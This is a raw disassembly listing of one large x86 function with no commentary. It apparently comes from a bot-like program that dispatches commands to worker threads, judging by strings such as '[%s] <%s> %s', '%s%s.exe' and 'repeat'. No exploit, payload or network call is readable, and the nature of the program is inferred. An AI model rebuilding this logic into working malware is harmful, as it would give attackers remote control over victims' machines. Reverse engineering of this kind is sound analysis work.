		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443560[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_443778
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4D0864
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FD78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FE6C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FD3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_42FCF8
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FCCC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_42FC8C
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42FC50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FC18
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42FBE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FBB0
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42FB80
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42FB48
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42FB18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset dword_42FADC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FAB0
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_42FA78
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42FA40
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26B0B60h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42FA1C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42FA10
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42F9E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_42F9A4


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2670C5Bh
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42F980
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_42F964
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26B0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F92C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset dword_42F8F0
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_42F8A8


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2680E26h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_42F884
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42F86C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_42F838


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42F804
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_408839
; ---------------------------------------------------------------------------


